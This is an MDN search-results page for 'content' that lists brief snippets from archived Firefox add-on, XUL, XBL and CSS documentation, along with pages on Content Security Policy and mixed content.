Search completed in 1.08 seconds.
Content Scripts - Archive of obsolete content
many add-ons need to access and modify the
content of web pages.
... but the main add-on code doesn't get direct access to web
content.
... instead, sdk add-ons need to factor the code that gets access to web
content into separate scripts that are called
content scripts.
...And 72 more matches
Anonymous Content - Archive of obsolete content
introduction a binding can specify an anonymous
content template using the
content element.
... this template describes a
content tree that will be generated around the bound element during binding attachment.
...a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <
content> <html:input type="text"/> <html:input type="button"/> </
content> </binding> because this
content is not visible to its parent element, it is said to be anonymous
content.
...And 54 more matches
nsIContentPolicy - Archive of obsolete content
dom/base/nsi
contentpolicy.idlscriptable interface used to implement a
content policy mechanism.
... implementations of this interface can be used to control the loading of various types of out-of-line
content, or the processing of certain types of inline
content.
... 63 introduced gecko 1.0 inherits from: nsi
contentpolicybase last changed in gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39) you can observe
content that is being loaded into your browser by implementing nsi
contentpolicy.
...And 41 more matches
Creating a Help Content Pack - Archive of obsolete content
original doc: http://www.mozilla.org/projects/help.../
content_packs i hesitate to call it "original", tho, because i've basically rewritten the entire thing so that it's easier and faster to use to create help
content.
... what is a
content pack?
... a
content pack is a packaged set of files that describe help
content.
...And 38 more matches
Content Processes - Archive of obsolete content
a
content process was supposed to run all the code associated with a single tab.
...neither
content or add-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind.
... to understand this article, it's probably best to read it as if
content and add-on processes actually exist.
...And 31 more matches
Anonymous Content - Archive of obsolete content
« previousnext » in this section we'll look at creating
content with xbl.
... xbl
content xbl can be used to automatically add a set of elements inside another element.
...declaring scrollbar example the example below shows how a scrollbar might be declared (it has been simplified a bit from the real thing): <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="scrollbarbinding"> <
content> <xul:scrollbarbutton type="decrement"/> <xul:slider flex="1"> <xul:thumb/> </xul:slider> <xul:scrollbarbutton type="increment"/> </
content> </binding> </bindings> this file contains a single binding, declared with the binding element.
...And 27 more matches
Static Content - Archive of obsolete content
instead it will be what is called static
content in a template.
... the static
content is any
content that is a sibling of the template element.
... this
content is displayed as is without affecting the generated
content from the template.
...And 17 more matches
Content Panels - Archive of obsolete content
it would be much better if just the
content area of the wizard changed.
...it has the advantage that it can be placed anywhere and the
contents can be loaded from a different file.
...you can use a script to change the
contents of the iframe without affecting the main window.
...And 16 more matches
content/symbiont - Archive of obsolete content
used by sdk modules that can load web
content and attach
content scripts to it.
... usage a symbiont loads the specified
contenturl and
content scripts into a frame, and sets up an asynchronous channel between the
content scripts and the add-on code, enabling them to exchange messages using the port or postmessage apis.
... you map optionally pass a frame into the symbiont's constructor: if you don't, then a new hidden frame will be created to host the
content.
...And 15 more matches
content/worker - Archive of obsolete content
used in the internal implementation of sdk modules which use
content scripts to interact with web
content.
... it exports the worker trait, which enables
content scripts and the add-on code to exchange messages using the port or postmessage apis.
...but unlike "web workers," these workers run in the same process as web
content and browser chrome, so code within workers can block the ui.
...And 15 more matches
Loading Content Scripts - Archive of obsolete content
this page is now obsolete, and its
content has been incorporated into the main page on
content scripts.
... the constructors for
content-script-using objects such as panel and page-mod define a group of options for loading
content scripts:
contentscript string, array
contentscriptfile string, array
contentscriptwhen string
contentscriptoptions object we have already seen the
contentscript option, which enables you to pass in the text of the script itself as a string literal.
... this version of the api avoids the need to maintain a separate file for the
content script.
...And 12 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
a typical example is an rss reader extension that would take the
content of the rss feed (html code), format it nicely and insert into the extension window.
...the following article explains these security mechanisms, ideally an extension that needs to display web
content (which is always potentially dangerous) will use all of them.
... displaying untrusted data as
content in firefox, there is a distinction between chrome and
content documents.
...And 12 more matches
content/loader - Archive of obsolete content
provides one of the building blocks for those modules that use
content scripts to interact with web
content, such as panel and page-mod.
... loader adds code to initialize and validate a set of properties for managing
content scripts:
contenturl
contentscript
contentscriptfile
contentscriptwhen
contentscriptoptions allow when certain of these properties are set, the loader emits a propertychange event, enabling its users to take the appropriate action.
... the loader is used by modules that use
content scripts but don't themselves load
content, such as page-mod.
...And 11 more matches
Index of archived content - Archive of obsolete content
htaccess ( hypertext access ) 2015 mdn fellowship program api navigator navigator.moznotification add-ons add-on sdk builder guides
content scripts communicating with other scripts communicating using "port" communicating using "postmessage" cross-domain
content scripts interacting with page scripts loading
content scripts reddit example port self ...
... contributor's guide classes and inheritance
content processes getting started modules private properties firefox compatibility module structure of the sdk porting the library detector program id sdk api lifecycle sdk and xul comparison testing the add-on sdk two types of scripts working with events xul migration guide high-level apis addon-page base64 clipboard context-menu ...
... simple-prefs simple-storage system tabs timers ui url widget windows low-level apis /loader chrome console/plain-text console/traceback
content/
content content/loader
content/mod
content/symbiont
content/worker core/heritage core/namespace core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path io/byte-streams ...
...And 11 more matches
Cross-domain Content Scripts - Archive of obsolete content
by default,
content scripts don't have any cross-domain privileges.
... in particular, they can't: access
content hosted in an iframe, if that
content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-
content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-
content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the
content - so in the example above, the
content script will not be allowed to access
content served from https://example.com/.
... this feature is currently only available for
content scripts, not for page scripts included in html files shipped with your add-on.
...And 8 more matches
content/mod - Archive of obsolete content
experimental provides functions to modify a page
content.
... for example, the following code applies a style to a
content window, adding a border to all divs in page: var attachto = require("sdk/
content/mod").attachto; var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the
content page we want to modify attachto(style, window); parameters modification : object the modification we want to apply to the target.
... for example, the following code applies and removes a style to a
content window, adding a border to all divs in page: var { attachto, detachfrom } = require("sdk/
content/mod"); var style = require("sdk/stylesheet/style").style; var style = style({ source: "div { border: 4px solid gray }" }); // assuming window points to the
content page we want to modify attachto(style, window); // ...
...And 8 more matches
Creating reusable content with CSS and XBL - Archive of obsolete content
note: xbl cannot be loaded over http, so this technique is only useful for local
content accessed using the file:/// scheme, or from add-on code.
...another structural limitation concerns
content.
... you can use css to provide
content for selected elements, but the
content is limited to text and images, and its positioning is limited to before or after the selected element.
...And 7 more matches
-ms-content-zoom-snap-points - Archive of obsolete content
the -ms-
content-zoom-snap-points css property is a microsoft extension that specifies where zoom snap-points are located.
... if any value specified is less than that specified by the -ms-
content-zoom-limit-min property, the value of -ms-
content-zoom-limit-min is used.
... if any value specified is greater than that specified by the -ms-
content-zoom-limit-max property, the value of -ms-
content-zoom-limit-max is used.
...And 7 more matches
-ms-content-zoom-snap-type - Archive of obsolete content
the -ms-
content-zoom-snap-type css property is a microsoft extension that specifies how zooming is affected by defined snap-points.
...after the contact is picked up, the
content will continue to move with inertia.
... proximity indicates that the motion of the
content after the contact is picked up may be adjusted if the
content would normally stop "close enough" to a snap-point.
...And 7 more matches
Using content preferences - Archive of obsolete content
firefox 3 introduces the concept of
content preferences.
...the
content preferences service, implemented by nsi
contentprefservice, offers functions for setting and retrieving preferences for specific sites or in the global preference space; global preferences are used whenever a site-specific preference isn't available.
... site-specific
content preferences are stored in the profile folder, in the database file "
content-prefs.sqlite".
...And 6 more matches
-ms-content-zoom-limit - Archive of obsolete content
the -ms-
content-zoom-limit css shorthand property is a microsoft extension that specifies values for the -ms-
content-zoom-limit-min and -ms-
content-zoom-limit-max properties.
... initial valueas each of the properties of the shorthand:-ms-
content-zoom-limit-max: 400%-ms-
content-zoom-limit-min: 100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesas each of the properties of the shorthand:-ms-
content-zoom-limit-max: the largest allowed zoom factor.
...smaller values zoom out.-ms-
content-zoom-limit-min: the smallest allowed zoom factor.
...And 5 more matches
Connecting to Remote Content - Archive of obsolete content
sometimes the server doesn't specify an xml
content-type header, which is necessary for the xml parsing to happen automatically.
...sending a post request requires you to set the
content type of the request and to pass the post data to the send() method as below.
... request.open("post", url, true); request.setrequestheader("
content-type", "application/x-www-form-urlencoded"); request.send("data=hello&version=2"); the third parameter for the open method specifies whether the request should be handled asynchronously or not.
...And 4 more matches
-ms-content-zoom-snap - Archive of obsolete content
the -ms-
content-zoom-snap css shorthand property is a microsoft extension that specifies values for the -ms-
content-zoom-snap-type and -ms-
content-zoom-snap-points properties.
... initial valueas each of the properties of the shorthand:-ms-
content-zoom-snap-type: none-ms-
content-zoom-snap-points: snapinterval(0%, 100%)applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas each of the properties of the shorthand:-ms-
content-zoom-snap-type: as specified-ms-
content-zoom-snap-points: as specifiedanimation typediscrete syntax the -ms-
content-zoom-snap shorthand property is specified as one or both of the following
content zoom snap values, in order, separated by spaces.
... values -ms-
content-zoom-snap-type value of the -ms-
content-zoom-snap-type property.
...And 3 more matches
Content states and the style system - Archive of obsolete content
content states are what gecko uses to implement the various state-dependent in css (examples would be :hover, :active, :focus, :target, :checked).
... we will focus on describing how changes in
content state are handled.
... generally, whenever a node's
content state changes, style has to be reresolved (recomputed) for that node and all of its descendants.
...to this end, when a <code>
contentstateschanged</code> notification is dispatched for a
content node the first thing that's done is to is to check whether the
content state change something could affect any styles.
Syndicating content with RSS - Archive of obsolete content
syndication (or web syndication) is a method which lets a web site make its
content available for others to read, listen to, or watch.
...rss is a tool which helps to syndicate your
content by organizing it into a form that's easy for machines to parse and reuse.
... this article provides a simple guide to using rss to syndicate web
content.
... the http protocol, one of the core technologies behind the web, provides a way of prioritizing the
content type that an http client prefers to receive.
Content - Archive of obsolete content
otherwise, just comment it out getting started a guided tutorial that will help you get started with the rss
content module.
... the rss
content module provides facilities to include
content for an <item>.
... documentation selected articles why rss
content module is popular - including html
contents charles iliya krempeaux talks about the rss
content module, why it is popular among some, and how it is used to include html
contents.
... references rss
content module element list examples none available at this time community none available at this time tools none available at this time other resources rss
content module spec rss, rdf, xml ...
contentView - Archive of obsolete content
« xul reference
contentview type: nsitree
contentview for trees built with a
content builder - that is, those that do not have flags set -- the
contentview will be a reference to the nsitree
contentview for the tree.
...for trees that are not built with a
content builder, the functions of nsitree
contentview will not be available, since there are no dom nodes to retrieve.
... in newer versions of mozilla, the
contentview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
content - Archive of obsolete content
cuando use un árbol con los atributos flags ("banderas"), establezca dont-build-
content, ("no almacenar contenido"), use treeitem en su lugar.
...if set, the conditions will only match if the template builder is parsing
content for an element directly inside this tag.
... used to specify the variable name for the
content.
-ms-content-zoom-limit-max - Archive of obsolete content
the -ms-
content-zoom-limit-max css property is a microsoft extension that specifies the selected elements' maximum zoom factor.
... remarks this property constrains the limit for touch zooming as well as values of the ms
contentzoomfactor property.
...see -ms-
content-zooming for details on zoomable elements.
-ms-content-zoom-limit-min - Archive of obsolete content
the -ms-
content-zoom-limit-min css property is a microsoft extension that specifies the minimum zoom factor.
... remarks this property constrains the limit for touch zooming as well as values of the ms
contentzoomfactor property.
...see -ms-
content-zooming for details on zoomable elements.
-ms-content-zoom-chaining - Archive of obsolete content
the -ms-
content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.
...for information on zoomable elements, see -ms-
content-zooming.
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "
contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:description about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn...
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "
contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_them...
Index - Archive of obsolete content
found 3833 pages: # page tags and summary 1 archive of obsolete
content archive, landing here at mdn, we try to avoid outright deleting
content that might be useful to people targeting legacy platforms, operating systems, and browsers.
...or for "reasons," your company is required to use very old software and you need to build web
content that runs on that software.
... 13
content scripts add-on sdk many add-ons need to access and modify the
content of web pages.
...And 174 more matches
widget - Archive of obsolete content
usage "widgets" are small pieces of
content that live in the firefox 4 add-on bar.
... creation and
content widgets can contain images or arbitrary web
content.
... you can include this
content inline as a string by using the
content property, or point to
content using a url with the
contenturl property.
...And 89 more matches
panel - Archive of obsolete content
its
content is specified as html and you can execute scripts in it, so the appearance and behavior of the panel is limited only by what you can do using html, css, and javascript.
... the screenshot below shows a panel whose
content is built from the list of currently open tabs: panels are useful for presenting temporary interfaces to users in a way that is easier for users to ignore and dismiss than a modal dialog, since panels are hidden the moment users interact with parts of the application interface outside them.
... a panel's
content is loaded as soon as it is created, before the panel is shown, and the
content remains loaded when a panel is hidden, so it is possible to keep a panel around in the background, updating its
content as appropriate in preparation for the next time it is shown.
...And 79 more matches
page-mod - Archive of obsolete content
the sdk calls these scripts "
content scripts".
... for example, the following add-on displays an alert whenever the user visits any page hosted at "mozilla.org": var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org",
contentscript: 'window.alert("page matches ruleset");' }); you can modify the document in your script: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org",
contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); you can supply the
content script(s) in one of two ways: as a string literal, or an array of string literals, assigned to the
contentscript option, as above as separate files supplied in your add-on's "data...
... if you supply the scripts as separate files in the "data" directory, you specify them using with a url, typically constructed using the url() method of the self module's data object: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org",
contentscriptfile: data.url("my-script.js") }); var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org",
contentscriptfile: [data.url("jquery-1.7.min.js"), data.url("my-script.js")] }); from firefox 34, you can use "./my-script.js" as an alias for self.data.url("my-script.js").
...And 60 more matches
Index - Archive of obsolete content
in contrast to the mozilla jargon file, this article describes items of specific interest to the web or
content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
... 56 clicktoscroll clicktoscroll, if true, the arrows must be clicked to scroll the scrollbox
content.
... 72
contentcontextmenu xul attributes, xul reference no summary!
...And 59 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
for example, in the firefox browser window, everything other than the web page being displayed in the
content area is chrome.
... three kinds of packages make up chrome the
content package this package is used to contain the main xul and javascript source files.
... most extensions consist of a single
content package2 the locale package this package is used to contain language data that can be translated.
...And 53 more matches
The Implementation of the Application Object Model - Archive of obsolete content
warning: the
content of this article may be out of date.
...this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's
content model.
...it is an xml-based language for describing the
contents of windows and dialogs.
...And 51 more matches
context-menu - Archive of obsolete content
contexts can be related to page
content or the page itself, but they should never be external to the page.
... in
content scripts the declarative contexts are handy but not very powerful.
... when you need more control over the context in which your menu items are shown, you can use
content scripts.
...And 50 more matches
page-worker - Archive of obsolete content
you specify the page to load using the
contenturl option to the page() constructor.
... this can point to a remote file: pageworker = require("sdk/page-worker").page({
contentscript: "console.log(document.body.innerhtml);",
contenturl: "http://en.wikipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on.
... to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({
contentscript: "console.log(document.body.innerhtml);",
contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html").
...And 49 more matches
tabs - Archive of obsolete content
usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom
content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings.
... tabs.on('open', function onopen(tab) { myopentabs.push(tab); }); // listen for tab
content loads.
...{ console.log(tab.url + " is loaded"); } function logactivate(tab) { console.log(tab.url + " is activated"); } function logdeactivate(tab) { console.log(tab.url + " is deactivated"); } function logclose(tab) { console.log(tab.url + " is closed"); } tabs.on('open', onopen); manipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's
content, such as the url, will not contain valid values until after the tab's ready event fires).
...And 41 more matches
Layout System Overview - Archive of obsolete content
the original design of the layout system allowed for multiple, possibly different, presentations to be supported simultaneously from the same
content model.
...to date the only real use of this multiple presentation ability is seen in printing, where multiple presentations are managed, all connected to the same
content model.
... (note: it is unclear if this is really a benefit - it may have been better to use a copy of the
content model for each presentation, and to remove the complexity of managing separate presentations - analysis is needed here).
...And 35 more matches
Elements - Archive of obsolete content
helloworld.html: <!doctype html public "-//w3c//dtd html 4.01//en"> <html> <head> <title>hello world!</title> <style type="text/css"> p { -moz-binding: url(hello.xml#default); } #p03 { -moz-binding: url(hello.xml#hello2); } </style> </head> <body> <p>default
content</p> <p>default
content</p> <p id="p03">default
content</p> </body> </html> hello.xml: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="default"> <
content><html:b>hello world!
... </html:b><children/></
content> </binding> <binding id="hello2"> <
content><html:b>hello from my binding!
... </html:b><children/></
content> </binding> </bindings> you can view the result by opening helloworld.html in firefox.
...And 31 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
warning: the
content of this article may be out of date.
...rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web
content.
...due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate
content and scripting code path.
...And 30 more matches
Interacting with page scripts - Archive of obsolete content
by default,
content scripts loaded by add-ons and scripts loaded by web pages are insulated from each other:
content scripts can't interact directly with page scripts or access javascript objects they create page scripts can't interact directly with
content scripts or access objects they create.
...you don't want arbitrary web pages to be able to access objects in
content scripts, and you don't want objects created by
content scripts to clash with objects created by page scripts.
...this guide describes: how to share objects between
content scripts and page scripts how to send messages between
content scripts and page scripts sharing objects with page scripts there are two possible cases here: a
content script might want to access an object defined by a page script a
content script might want to expose an object to a page script access objects defined by page scripts to access page script objects from
content scripts, you can use the global unsafewindow object.
...And 29 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
main roles nsdocshell this class corresponds, basically, to a "window" object in javascript -- each frame, iframe,
content area, tab, etc has its own docshell.
...it keeps track of currently pending loads and registered
content listeners.
...category manager this is used in a last-ditch attempt to find a
content listener.
...And 27 more matches
Overflowing content - Learn web development
previous overview: building blocks next overflow is what happens when there is too much
content to fit in a container.
...overflow happens when there is too much
content to fit in a box.
...then we add
content that exceeds the allocated space.
...And 27 more matches
The Business Benefits of Web Standards - Archive of obsolete content
site wide consistent look and feel by separating structure (or
content) from presentation, web designers have a lot to gain.
...strict html (as opposed to the often-used transitional html markup), forces the designer not to use presentation tags in the html documents, naturally enforcing the separation of
content from presentation.
...a lot of other sites would greatly increase their seo by simply using proper tags for the
content.
...And 25 more matches
Communicating With Other Scripts - Archive of obsolete content
this page is now obsolete, and its
content has been incorporated into the main page on
content scripts.
... this section of the guide explains how
content scripts can communicate with: your main.js file, or any other modules in your add-on other
content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your
content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
...
content scripts
content scripts loaded into the same document at the same time using the same method can interact with each other directly as well as with the web
content itself.
...And 24 more matches
nsIContentPrefService2
dom/interfaces/base/nsi
contentprefservice2.idlscriptable asynchronous api for
content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description
content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "
content".
... specifically, a
content preference is a structure with three values: a domain with which the preference is associated, a name that identifies the preference within its domain, and a value.
... (see nsi
contentpref below.) for example, if you want to remember the user's preference for a certain zoom level on www.mozilla.org pages, you might store a preference whose domain is "www.mozilla.org", whose name is "zoomlevel", and whose value is the numeric zoom level.
...And 24 more matches
Mixed content - Web security
an https page that includes
content fetched using cleartext http is called a mixed
content page.
... pages like this are only partially encrypted, leaving the unencrypted
content accessible to sniffers and man-in-the-middle attackers.
... types of mixed
content there are two categories for mixed
content: mixed passive/display
content and mixed active
content.
...And 23 more matches
Content Security Policy (CSP) - HTTP
content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...browsers that don't support it still work with servers that implement it, and vice-versa: browsers that don't support csp simply ignore it, functioning as usual, defaulting to the standard same-origin policy for web
content.
... to enable csp, you need to configure your web server to return the
content-security-policy http header.
...And 22 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
to create a page-mod, you need to specify two things: one or more
content scripts to run whose job is to interact with web
content.
... a simple code snippet where
content script is supplied as
contentscript option and url pattern is given as include option is as follows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org" url is loaded // the script replaces the page
contents with a message pagemod.pagemod({ include: "*.org",
contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it.
... keeping the
content script in a separate file in the example above, we've supplied
content script as a string.
...And 21 more matches
XUL Structure - Archive of obsolete content
how xul is handled in mozilla, xul is handled in much the same way as html or other types of
content are handled.
... when you type the url of an html page into the browser's address field, the browser locates the web site and downloads the
content.
... the mozilla rendering engine takes the
content in the form of html source and transforms it into a document tree.
...And 21 more matches
Communicating using "port" - Archive of obsolete content
this page is now obsolete, and its
content has been incorporated into the main page on
content scripts.
... to enable add-on scripts and
content scripts to communicate with each other, each end of the conversation has access to a port object.
... here's a simple add-on that sends a message to a
content script using port: var tabs = require("sdk/tabs"); var alert
contentscript = "self.port.on('alert', function(message) {" + " window.alert(message);" + "})"; tabs.on("ready", function(tab) { worker = tab.attach({
contentscript: alert
contentscript }); worker.port.emit("alert", "message from the add-on"); }); tabs.open("http://www.mozilla.org"); in total, the port object defines four functions: emit(): em...
...And 20 more matches
The life of an HTML HTTP request - Archive of obsolete content
warning: the
content of this article may be out of date.
...[note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsi
contentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the url to begin transfering the requested file.
...now the channel knows the
content type of the incoming data, so the documentloader can find an nsidocumentloaderfactory for the "text/html"
content type (in this case an nslayoutdlf).
...And 20 more matches
browser - Archive of obsolete content
attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cangoback, cangoforward,
contentdocument,
contentprincipal,
contenttitle,
contentvieweredit,
contentviewerfile,
contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, messagemanager, preferences, securityui, sessionhistory, webbrowserfind, webnavigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, remove...
...progresslistener, stop, swapdocshells examples <!-- shows mozilla homepage inside a groupbox --> <groupbox flex="1"> <caption label="mozilla homepage"/> <browser type="
content" src="http://www.mozilla.org" flex="1"/> </groupbox> attributes autocompleteenabled type: boolean set to true to enable autocomplete of fields.
... showcaret type: boolean whether or not to cause a typing caret to be visible in the
content area.
...And 20 more matches
The Essentials of an Extension - Archive of obsolete content
« previousnext » the install.rdf file in the last section we looked at the
contents of the hello world extension.
... the chrome.manifest file chrome is the set of user interface elements of the application window that are outside of a window's
content area.
...all firefox windows can be seen as having two parts: (1) the chrome and (2) possibly a
content area, like the one that displays web pages in a firefox tab.
...And 19 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the
content of the site tells the story of how technology affects our daily lives, especially in the realms of business, culture, and politics.
...but each table ensured the flexibility we needed if certain modules and pieces of
content appeared or disappeared.
...until this redesign, wired news wasn't even using css to style the
content inside tables.
...And 19 more matches
JXON - Archive of obsolete content
there are some cases in which the whole
content of an xml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
... the following algorithms are somewhat based on the parker convention, version 0.4, which prescribes the transformation of tags names into object properties names and the recognition of the typeof of all the collected text
content of each tag (plain text parsing); but with some differences (so, one can say that we follow a our convention).
...we can use several algorithms to convert its
content to a javascript object tree.
...And 19 more matches
Creating XPI Installer Modules - Archive of obsolete content
chrome/ us/ us.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar comm/ comm.jar
content-packs/
content-packs.jar embed-sample/ embed-sample.jar en-us/ en-us.jar en-mac/ en-mac.jar en-unix/ en-unix.jar en-win/ en-win.jar help/ help.jar inspector/ inspector.jar installed-chrome.txt messenger/ messenger.jar ...
...resources are collected in jar archives whose
contents are specified in
contents.rdf files at their own top level.
... the
contents.rdf file explains the structure and
contents of the archive to mozilla's chrome registry; as long as the explanation is accurate, the
contents can be arranged in almost any way you want.
...And 19 more matches
Advanced Rules - Archive of obsolete content
if the conditions match for a resource, the
content placed within the actions tag is generated.
... in the simple syntax, the
content is placed directly inside the rule.
... rule conditions when a tree, menu or other element with a datasource generates
content, the template builder first finds the resource referred to by the ref attribute.
...And 19 more matches
Content Index API - Web APIs
the
content index api allows developers to register their offline enabled
content with the browser.
... concepts and usage as it stands, offline web
content is not easily discoverable by users.
...
content indexing allows developers to tell the browser about their specific offline
content.
...And 19 more matches
Manifest Files - Archive of obsolete content
doesn't work with utf-8 with bom.) add the following line to it:
content tests file:///c:/testfiles/ the file path in that line should point to the directory created above.
...now, all you need to do is add some xul files into that new directory, and you will be able to load them by typing in a chrome url of the form chrome://tests/
content/<filename>.
...the basic syntax of the lines in the manifest file for
content packages is: '
content <packagename> <filepath>' the first field '
content' indicates a
content package.
...And 18 more matches
iframe - Archive of obsolete content
the src attribute can be used to specify the
content of the frame.
... this
content is a separate document.
...if you want to run
content in a remote process, use a xul browser element.
...And 18 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
xul display methods xul is used almost exclusively in mozilla applications like firefox and thunderbird, and extensions for them, but other web browsers based on firefox or the gecko engine, and even web-based
content also used xul.
... fixme: explain how setting this option and use next listings if we want to run firefox displaying none of its gui and only the
contents of a certain xul file, we can launch firefox and set the option: -chrome file_url.xul another way, as shown in listing 1, is to use the window.opendialog() method, which can be used only within a xul window.
... because a xul document is also an xml document, it can contain xhtml, svg, mathml, and other elements; if you use external entity references, the xml document's
contents are modularized; combined with other xml-related technologies, such as dom, xlink, or xslt, you can use it for a number of different applications.
...And 17 more matches
Introduction to XUL - Archive of obsolete content
warning: the
content of this article may be out of date.
... window chrome is displayed and managed by the same layout engine that manages html
content in the browser.
...this linkage can be accomplished by including javascript in the xul, or by application code which walks the
content model after it has been built from xul, and hooks up event listeners.
...And 17 more matches
Template Logging - Archive of obsolete content
however, calling getelementbyid using this id will retrieve the generated
content for that result if you want to further study the
content that was generated.
...this allows us to narrow down what query and rule is being used to generate the
content.
...the template's generated
content will not change in this example as an active result is not changing.
...And 17 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
copy and paste the line from here, to avoid typing errors:
content,install,url,resource:/chrome/custombutton/ explanation: this line registers your custom toolbar button extension, linking it into seamonkey.
... create a plain text file named
contents.rdf.
... copy the following
content, making sure that you scroll to get all of it.
...And 17 more matches
ARIA: contentinfo role - Accessibility
the
contentinfo landmark role is used to identify information repeated at the end of every page of a website, including copyright information, navigation links, and privacy statements.
... <div role="
contentinfo"> <h2>footer</h2> <!-- footer
content --> </div> this is a website footer.
... using the <footer> element instead is recommended: <footer> <h2>footer</h2> <!-- footer
content --> </footer> description the
contentinfo role is a landmark used to identify a page footer.
...And 17 more matches
Content categories - Developer guides
every html element is a member of one or more
content categories — these categories group elements that share common characteristics.
... there are three types of
content categories: main
content categories, which describe common rules shared by many elements.
... form-related
content categories, which describe rules common to form-related elements.
...And 17 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
extending traditional hypertext navigation the hypertext approach to developing web pages, in which developers format text layouts into pages and link those pages to related
content, is analogous to a book or a magazine: readers view pages, go to other pages for more information, and view resources listed as references on that page.
...today, this publishing system allows your users to modify
content for the portal, but in order to have their text spell checked they must click somewhere and wait for the response page.
...forms with nested selects in today's web pages it is common to see selects where
content is dependent on the selection made on another select.
...And 16 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
tooltips legacy browsers introduced tooltips into html by showing them on links and using the value of the alt attribute as a tooltip's
content.
... some older browsers, such as internet explorer, had such quirks as allowing you to use entities by replacing the ; (semi-colon) character at the end with regular text
